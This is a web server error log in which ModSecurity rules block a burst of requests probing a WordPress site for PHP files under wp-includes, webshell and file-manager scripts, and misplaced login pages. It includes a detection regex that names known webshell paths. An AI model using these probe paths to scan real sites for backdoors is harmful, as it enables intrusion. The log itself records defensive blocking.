[Sat Nov 22 05:08:46.179087 2025] [:error] [pid 53479:tid 53548] [client 194.5.82.125:61545] [client 194.5.82.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aSDU3m6cicFF3Aas-oRgWAAAAIw"]
[Sat Nov 22 05:08:52.753930 2025] [:error] [pid 53477:tid 53491] [client 194.5.82.117:46261] [client 194.5.82.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aSDU5H7Lu30Ku9O40aLH6QAAAAo"]
[Sat Nov 22 05:09:00.185866 2025] [:error] [pid 25856:tid 25871] [client 194.5.82.139:64643] [client 194.5.82.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aSDU7BsTP0wy94zKUvGRhgAAAQ0"]
[Sat Nov 22 05:09:02.203011 2025] [:error] [pid 53566:tid 53578] [client 194.5.82.138:43061] [client 194.5.82.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aSDU7sbSHDBkRbwMbd4fsAAAAMo"]
[Sat Nov 22 05:09:28.445842 2025] [:error] [pid 25856:tid 25860] [client 194.5.82.113:58799] [client 194.5.82.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aSDVCBsTP0wy94zKUvGR4gAAAQI"]
[Sat Nov 22 05:09:28.660157 2025] [:error] [pid 53566:tid 53588] [client 194.5.82.119:38393] [client 194.5.82.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aSDVCMbSHDBkRbwMbd4f9wAAANQ"]
[Sat Nov 22 05:09:28.864065 2025] [:error] [pid 53566:tid 53577] [client 194.5.82.107:64749] [client 194.5.82.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.107, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSDVCMbSHDBkRbwMbd4f-AAAAMk"]
[Sat Nov 22 05:09:32.351716 2025] [:error] [pid 53566:tid 53578] [client 194.5.82.107:64749] [client 194.5.82.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aSDVDMbSHDBkRbwMbd4gAwAAAMo"]
[Sat Nov 22 05:09:36.071005 2025] [:error] [pid 53566:tid 53586] [client 194.5.82.154:59455] [client 194.5.82.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aSDVEMbSHDBkRbwMbd4gDQAAANI"]
[Sat Nov 22 05:09:36.258714 2025] [:error] [pid 53478:tid 53510] [client 194.5.82.114:41755] [client 194.5.82.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aSDVEAhUYdXBbQswAdT8-QAAAEE"]
[Sat Nov 22 05:09:42.198762 2025] [:error] [pid 53478:tid 53528] [client 194.5.82.169:55925] [client 194.5.82.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aSDVFghUYdXBbQswAdT9EgAAAFM"]
[Sat Nov 22 05:09:42.393035 2025] [:error] [pid 53478:tid 53511] [client 194.5.82.164:54861] [client 194.5.82.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aSDVFghUYdXBbQswAdT9FQAAAEI"]
[Sat Nov 22 05:09:51.784436 2025] [:error] [pid 53566:tid 53585] [client 194.5.82.106:26999] [client 194.5.82.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aSDVH8bSHDBkRbwMbd4gNwAAANE"]
[Sat Nov 22 05:09:53.885608 2025] [proxy_fcgi:error] [pid 53478:tid 53528] [client 194.5.82.121:58031] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:09:55.804868 2025] [:error] [pid 53478:tid 53513] [client 194.5.82.121:58031] [client 194.5.82.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/function.php"] [unique_id "aSDVIwhUYdXBbQswAdT9UAAAAEQ"]
[Sat Nov 22 05:09:56.010817 2025] [:error] [pid 53566:tid 53587] [client 194.5.82.155:59253] [client 194.5.82.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aSDVJMbSHDBkRbwMbd4gSgAAANM"]
[Sat Nov 22 05:09:58.091836 2025] [:error] [pid 53478:tid 53510] [client 194.5.82.146:30683] [client 194.5.82.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aSDVJghUYdXBbQswAdT9XAAAAEE"]
[Sat Nov 22 05:09:58.296693 2025] [:error] [pid 25856:tid 25872] [client 194.5.82.114:44173] [client 194.5.82.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aSDVJhsTP0wy94zKUvGSLQAAAQ4"]
[Sat Nov 22 05:10:11.198046 2025] [:error] [pid 25856:tid 25862] [client 194.5.82.170:50003] [client 194.5.82.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aSDVMxsTP0wy94zKUvGSVAAAAQQ"]
[Sat Nov 22 05:10:11.533222 2025] [:error] [pid 53566:tid 53573] [client 194.5.82.169:29761] [client 194.5.82.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aSDVM8bSHDBkRbwMbd4gbAAAAMU"]
[Sat Nov 22 05:10:19.037304 2025] [:error] [pid 53477:tid 53489] [client 194.5.82.137:52445] [client 194.5.82.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSDVO37Lu30Ku9O40aLI0AAAAAg"]
[Sat Nov 22 05:10:19.355167 2025] [:error] [pid 53566:tid 53588] [client 194.5.82.116:61927] [client 194.5.82.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSDVO8bSHDBkRbwMbd4ggQAAANQ"]
[Sat Nov 22 05:10:19.543004 2025] [:error] [pid 53566:tid 53575] [client 194.5.82.123:33029] [client 194.5.82.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSDVO8bSHDBkRbwMbd4ggwAAAMc"]
[Sat Nov 22 05:10:26.672911 2025] [:error] [pid 25856:tid 25882] [client 194.5.82.118:34741] [client 194.5.82.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aSDVQhsTP0wy94zKUvGSiwAAARg"]
[Sat Nov 22 05:10:30.303757 2025] [:error] [pid 53478:tid 53526] [client 194.5.82.117:44821] [client 194.5.82.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aSDVRghUYdXBbQswAdT9yAAAAFE"]
[Sat Nov 22 05:10:40.863253 2025] [:error] [pid 53477:tid 53502] [client 194.5.82.142:51453] [client 194.5.82.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.142, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/js/wp-login.php"] [unique_id "aSDVUH7Lu30Ku9O40aLJFwAAABU"]
[Sat Nov 22 05:10:51.006060 2025] [:error] [pid 53477:tid 53496] [client 194.5.82.142:51453] [client 194.5.82.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aSDVW37Lu30Ku9O40aLJOAAAAA8"]
[Sat Nov 22 05:10:51.190398 2025] [:error] [pid 53566:tid 53590] [client 194.5.82.105:36331] [client 194.5.82.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.105, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aSDVW8bSHDBkRbwMbd4gwQAAANY"]
[Sat Nov 22 05:11:07.416997 2025] [proxy_fcgi:error] [pid 53566:tid 53588] [client 194.5.82.105:36331] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:11:30.084960 2025] [:error] [pid 53566:tid 53588] [client 194.5.82.105:36331] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aSDVgsbSHDBkRbwMbd4hNAAAANQ"]
[Sat Nov 22 05:11:35.910725 2025] [:error] [pid 53478:tid 53529] [client 194.5.82.164:65375] [client 194.5.82.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aSDVhwhUYdXBbQswAdT-mwAAAFQ"]
[Sat Nov 22 05:11:39.921084 2025] [:error] [pid 25856:tid 25877] [client 194.5.82.116:48145] [client 194.5.82.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aSDVixsTP0wy94zKUvGTgwAAARM"]
[Sat Nov 22 05:11:55.653457 2025] [:error] [pid 53566:tid 53585] [client 194.5.82.164:58709] [client 194.5.82.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aSDVm8bSHDBkRbwMbd4hewAAANE"]
[Sat Nov 22 05:11:59.399568 2025] [:error] [pid 53478:tid 53526] [client 194.5.82.157:53359] [client 194.5.82.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aSDVnwhUYdXBbQswAdT-vgAAAFE"]
[Sat Nov 22 05:12:01.453081 2025] [:error] [pid 25856:tid 25868] [client 194.5.82.150:33951] [client 194.5.82.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aSDVoRsTP0wy94zKUvGT4wAAAQo"]
[Sat Nov 22 05:12:07.655601 2025] [proxy_fcgi:error] [pid 53478:tid 53518] [client 194.5.82.140:45479] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:12:07.787981 2025] [proxy_fcgi:error] [pid 53478:tid 53533] [client 194.5.82.140:45479] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:12:07.879314 2025] [:error] [pid 53478:tid 53520] [client 194.5.82.140:45479] [client 194.5.82.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aSDVpwhUYdXBbQswAdT-4QAAAEs"]
[Sat Nov 22 05:12:08.147057 2025] [:error] [pid 53566:tid 53591] [client 194.5.82.122:47327] [client 194.5.82.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aSDVqMbSHDBkRbwMbd4hmAAAANc"]
[Sat Nov 22 05:12:17.876471 2025] [:error] [pid 53479:tid 53555] [client 194.5.82.108:33417] [client 194.5.82.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aSDVsW6cicFF3Aas-oRiRgAAAJM"]
[Sat Nov 22 05:12:19.759761 2025] [:error] [pid 53566:tid 53583] [client 194.5.82.116:57539] [client 194.5.82.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "aSDVs8bSHDBkRbwMbd4hwQAAAM8"]
[Sat Nov 22 05:12:25.212891 2025] [:error] [pid 53566:tid 53573] [client 194.5.82.159:47123] [client 194.5.82.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aSDVucbSHDBkRbwMbd4h1QAAAMU"]
[Sat Nov 22 05:12:36.422388 2025] [:error] [pid 53479:tid 53536] [client 194.5.82.134:50997] [client 194.5.82.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aSDVxG6cicFF3Aas-oRicwAAAIA"]
[Sat Nov 22 05:12:36.734490 2025] [proxy_fcgi:error] [pid 53478:tid 53523] [client 194.5.82.109:31237] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:12:37.099491 2025] [:error] [pid 53478:tid 53524] [client 194.5.82.109:31237] [client 194.5.82.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aSDVxQhUYdXBbQswAdT_LgAAAE8"]
[Sat Nov 22 05:12:44.402368 2025] [proxy_fcgi:error] [pid 53477:tid 53492] [client 194.5.82.146:25337] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:12:46.267024 2025] [:error] [pid 53477:tid 53497] [client 194.5.82.146:25337] [client 194.5.82.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.146, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aSDVzn7Lu30Ku9O40aLKlAAAABA"]
[Sat Nov 22 05:12:53.843903 2025] [:error] [pid 53477:tid 53504] [client 194.5.82.146:25337] [client 194.5.82.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aSDV1X7Lu30Ku9O40aLKpwAAABc"]
[Sat Nov 22 05:12:55.923155 2025] [:error] [pid 53566:tid 53568] [client 194.5.82.170:52719] [client 194.5.82.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aSDV18bSHDBkRbwMbd4iRwAAAMA"]
[Sat Nov 22 05:12:59.815780 2025] [:error] [pid 25856:tid 25879] [client 194.5.82.138:50035] [client 194.5.82.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aSDV2xsTP0wy94zKUvGUpwAAARU"]
[Sat Nov 22 05:13:07.312861 2025] [:error] [pid 53479:tid 53545] [client 194.5.82.153:57451] [client 194.5.82.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aSDV426cicFF3Aas-oRivgAAAIk"]
[Sat Nov 22 05:13:09.322432 2025] [:error] [pid 53566:tid 53571] [client 194.5.82.150:65209] [client 194.5.82.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aSDV5cbSHDBkRbwMbd4igwAAAMM"]
[Sat Nov 22 05:13:14.871813 2025] [:error] [pid 53478:tid 53516] [client 194.5.82.141:30727] [client 194.5.82.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aSDV6ghUYdXBbQswAdT_rgAAAEc"]
[Sat Nov 22 05:13:18.646473 2025] [proxy_fcgi:error] [pid 53479:tid 53543] [client 194.5.82.120:42131] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:13:18.744671 2025] [:error] [pid 53479:tid 53540] [client 194.5.82.120:42131] [client 194.5.82.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aSDV7m6cicFF3Aas-oRi1gAAAIQ"]
[Sat Nov 22 05:13:19.089339 2025] [:error] [pid 53566:tid 53568] [client 194.5.82.157:50255] [client 194.5.82.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/db.php"] [unique_id "aSDV78bSHDBkRbwMbd4imQAAAMA"]
